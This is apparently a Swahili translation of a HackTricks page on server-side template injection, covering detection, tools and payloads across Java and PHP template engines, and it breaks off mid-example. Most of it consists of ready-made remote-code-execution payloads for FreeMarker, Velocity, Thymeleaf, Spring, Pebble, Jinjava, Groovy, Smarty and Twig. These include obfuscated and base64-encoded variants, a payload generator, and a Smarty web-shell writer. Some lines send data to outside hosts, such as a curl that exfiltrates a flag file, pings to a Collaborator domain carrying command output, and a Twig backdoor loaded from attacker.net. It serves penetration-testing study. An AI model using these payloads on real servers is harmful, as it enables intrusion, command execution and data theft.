SSTI (Server Side Template Injection)

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

RootedCON ni tukio muhimu zaidi la usalama wa mtandao nchini Hispania na moja ya muhimu zaidi barani Ulaya. Kwa malengo ya kukuza maarifa ya kiufundi, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.

Ni nini SSTI (Uingizaji wa Kigeuzi wa Upande wa Seva)

Uingizaji wa kigeuzi wa upande wa seva ni udhaifu unapotokea wakati muhusika anaweza kuingiza nambari yenye nia mbaya kwenye kigeuzi ambacho hutekelezwa kwenye seva. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwa ni pamoja na Jinja.

Jinja ni injini maarufu ya kigeuzi inayotumika katika maombi ya wavuti. Hebu tuchunguze mfano unaodhihirisha kificho dhaifu kutumia Jinja:

output = template.render(name=request.args.get('name'))

Katika msimbo huu wenye kasoro, parameter ya name kutoka kwa ombi la mtumiaji inapitishwa moja kwa moja kwenye kigezo kwa kutumia kazi ya render. Hii inaweza kuruhusu mshambuliaji kuingiza msimbo wenye nia mbaya kwenye parameter ya name, ikisababisha kuingizwa kwa kigezo upande wa seva.

Kwa mfano, mshambuliaji anaweza kutengeneza ombi lenye mzigo kama huu:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Mzigo wa {{mambo-mabaya-hapa}} umetia ndani ya parameter ya jina. Mzigo huu unaweza kuwa na maelekezo ya templeti ya Jinja yanayomruhusu mshambuliaji kutekeleza nambari isiyo halali au kubadilisha injini ya templeti, hivyo kupata udhibiti wa seva.

Ili kuzuia udhaifu wa utekelezaji wa templeti upande wa seva, waendelezaji wanapaswa kuhakikisha kuwa matokeo ya mtumiaji yanasafishwa na kuthibitishwa ipasavyo kabla ya kuingizwa kwenye templeti. Kutekeleza ukaguzi wa matokeo ya mtumiaji na kutumia mbinu za kutoroka zenye ufahamu wa muktadha kunaweza kusaidia kupunguza hatari ya udhaifu huu.

Uchunguzi

Kuchunguza Utekelezaji wa Templeti Upande wa Seva (SSTI), kwanza, kufanya majaribio ya templeti ni njia rahisi. Hii inajumuisha kuingiza mfululizo wa herufi maalum (${{<%[%'"}}%\) kwenye templeti na kuchambua tofauti katika majibu ya seva kati ya data ya kawaida na mzigo maalum huu. Viashiria vya udhaifu ni pamoja na:

  • Kutoa makosa, kufunua udhaifu na labda injini ya templeti.

  • Kutokuwepo kwa mzigo katika kioo, au sehemu zake kukosekana, ikimaanisha seva inaprocess tofauti kuliko data ya kawaida.

  • Muktadha wa Nakala Ndogo: Tofautisha na XSS kwa kuangalia ikiwa seva inahesabu matokeo ya templeti (k.m., {{7*7}}, ${7*7}).

  • Muktadha wa Nambari: Thibitisha udhaifu kwa kubadilisha vigezo vya matokeo. Kwa mfano, kubadilisha salamu katika http://tovuti-isio-salama.com/?salamu=data.jina kuona ikiwa matokeo ya seva ni ya kubadilika au ya kudumu, kama vile salamu=data.jina}}hello kurudisha jina la mtumiaji.

Hatua ya Kutambua

Kutambua injini ya templeti kunajumuisha kuchambua ujumbe wa makosa au kufanya majaribio ya kawaida kwa mizigo ya lugha mbalimbali. Mizigo ya kawaida inayosababisha makosa ni pamoja na ${7/0}, {{7/0}}, na <%= 7/0 %>. Kuchunguza majibu ya seva kwa shughuli za hisabati husaidia kugundua injini maalum ya templeti.

Zana

skana ya SSTI + CSTI yenye ufanisi inayotumia polyglots mpya

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

meza inayoweza kuingiliana inaonyesha mchanganyiko wa uingizaji wa templeti wenye ufanisi pamoja na majibu yanayotarajiwa ya injini za templeti 44 muhimu zaidi.

Kudukua

Kijumla

Katika orodha ya maneno hapa unaweza kupata vibadilishaji vilivyowekwa katika mazingira ya baadhi ya injini zilizotajwa hapa chini:

Java

Java - Uingizaji wa Msingi

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Pata mazingira ya mfumo

${T(java.lang.System).getenv()}

Java - Pata /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Unaweza jaribu mizigo yako kwa https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}

  • ${7*7} = 49

  • #{7*7} = 49 -- (legacy)

  • ${7*'7'} Nothing

  • ${foobar}

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Kizuizi cha Sanduku la Mchanga

⚠️ inafanya kazi tu kwenye toleo la Freemarker chini ya 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Maelezo zaidi

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Maelezo zaidi

Thymeleaf

Katika Thymeleaf, jaribio la kawaida la kutafuta udhaifu wa SSTI ni uchambuzi ${7*7}, ambao pia unatumika kwa injini hii ya kigezo. Kwa utekelezaji wa nambari mbali mbali, uchambuzi kama huu unaweza kutumika:

  • SpringEL:

${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:

${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf inahitaji uchambuzi huu kuwekwa ndani ya sifa maalum. Hata hivyo, uchambuzi wa ndani ya uchambuzi unategemewa kwa maeneo mengine ya kigezo, kwa kutumia sintaksia kama [[...]] au [(...)]. Hivyo, uchambuzi wa mtihani wa SSTI unaweza kuonekana kama [[${7*7}]].

Hata hivyo, uwezekano wa uchambuzi huu kufanya kazi kwa ujumla ni mdogo. Mpangilio wa msingi wa Thymeleaf hauungi mkono uundaji wa kigezo cha kudumu; mifano lazima iwe tayari. Watengenezaji wangepaswa kutekeleza TemplateResolver yao wenyewe ili kuunda mifano kutoka kwa herufi kwa wakati unaofaa, jambo ambalo si la kawaida.

Thymeleaf pia inatoa uchambuzi wa awali wa uchambuzi, ambapo uchambuzi ndani ya mstari wa chini (__...__) unapitiwa awali. Kipengele hiki kinaweza kutumika katika ujenzi wa uchambuzi, kama ilivyoonyeshwa katika nyaraka za Thymeleaf:

#{selection.__${sel.code}__}

Mfano wa Udhaifu katika Thymeleaf

Zingatia sehemu ifuatayo ya nambari, ambayo inaweza kuwa rahisi kwa unyanyasaji:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Hii inaonyesha kwamba ikiwa injini ya templeti inachakata vipengele hivi vibaya, inaweza kusababisha utekelezaji wa nambari kwa mbali kupata URL kama:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Maelezo zaidi

pageEL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Kupita kwenye vichujio

Matamshi mengi ya pembejeo yanaweza kutumika, ikiwa ${...} haifanyi kazi jaribu #{...}, *{...}, @{...} au ~{...}.

  • Soma /etc/passwd

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Skripti ya kubuni mzigo wa payload

#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Maelezo Zaidi

Ubadilishaji wa Mwangaza wa Spring (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
pageEL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Toleo la zamani la Pebble ( < toleo 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Toleo Jipya la Pebble:

{% set cmd = 'id' %}





{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava ni mradi wa chanzo wazi ulioendelezwa na Hubspot, unapatikana kwenye https://github.com/HubSpot/jinjava/

Jinjava - Utekelezaji wa Amri

Imesuluhishwa na https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Maelezo zaidi

Hubspot - HuBL (Java)

  • {% %} mizizi ya taarifa

  • {{ }} mizizi ya maelezo

  • {# #} mizizi ya maoni

  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206

  • {{'a'.toUpperCase()}} - "A"

  • {{'a'.concat('b')}} - "ab"

  • {{'a'.getClass()}} - java.lang.String

  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest

  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Tafuta "com.hubspot.content.hubl.context.TemplateContextRequest" na ugundue mradi wa Jinjava kwenye Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Maelezo zaidi

Lugha ya Uelekezaji - EL (Java)

  • ${"aaaa"} - "aaaa"

  • ${99999+1} - 100000.

  • #{7*7} - 49

  • ${{7*7}} - 49

  • ${{ombi}}, ${{kikao}}, {{faceContext}}

Lugha ya Uelekezaji (EL) ni kipengele muhimu kinachorahisisha mwingiliano kati ya safu ya uwasilishaji (kama kurasa za wavuti) na mantiki ya programu (kama maboga yaliyosimamiwa) katika JavaEE. Inatumika sana katika teknolojia nyingi za JavaEE kusaidia mawasiliano haya. Teknolojia muhimu za JavaEE zinazotumia EL ni pamoja na:

  • JavaServer Faces (JSF): Inatumia EL kuunganisha vipengele katika kurasa za JSF na data na hatua za nyuma zinazofanana.

  • JavaServer Pages (JSP): EL hutumiwa katika JSP kufikia na kubadilisha data ndani ya kurasa za JSP, ikifanya iwe rahisi kuunganisha vipengele vya ukurasa kwenye data ya programu.

  • Muktadha na Uingizaji wa Mahitaji kwa Java EE (CDI): EL inaunganisha na CDI kuruhusu mwingiliano laini kati ya safu ya wavuti na maboga yaliyosimamiwa, ikisimamia muundo wa programu zaidi kwa umakini.

Angalia ukurasa ufuatao kujifunza zaidi kuhusu utumiaji wa waelekezaji wa EL:

pageEL - Expression Language

Groovy (Java)

Mipito ya Usimamizi wa Usalama ifuatayo ilitolewa kutoka kwenye makala.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

​​RootedCON ni tukio muhimu zaidi la usalama wa mtandao nchini Hispania na moja ya muhimu zaidi barani Ulaya. Na malengo ya kukuza maarifa ya kiufundi, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Maelezo zaidi

Twig (PHP)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{7*'7'}} = 49

  • {{1/0}} = Error

  • {{foobar}} Nothing

#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Muundo wa Templeti

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Maelezo zaidi

Plates (PHP)

Plates ni injini ya templeti asilia ya PHP, ikichota msukumo kutoka kwa Twig. Hata hivyo, tofauti na Twig, ambayo inaleta sintaksia mpya, Plates inatumia msimbo wa asilia wa PHP katika templeti, hivyo kuifanya iwe rahisi kwa watengenezaji wa PHP.

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Muundo wa Ukurasa:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Muundo wa kigeuzi:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Maelezo zaidi

PHPlib na HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB ni sawa na PHPlib lakini imehamishwa kwa Pear.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file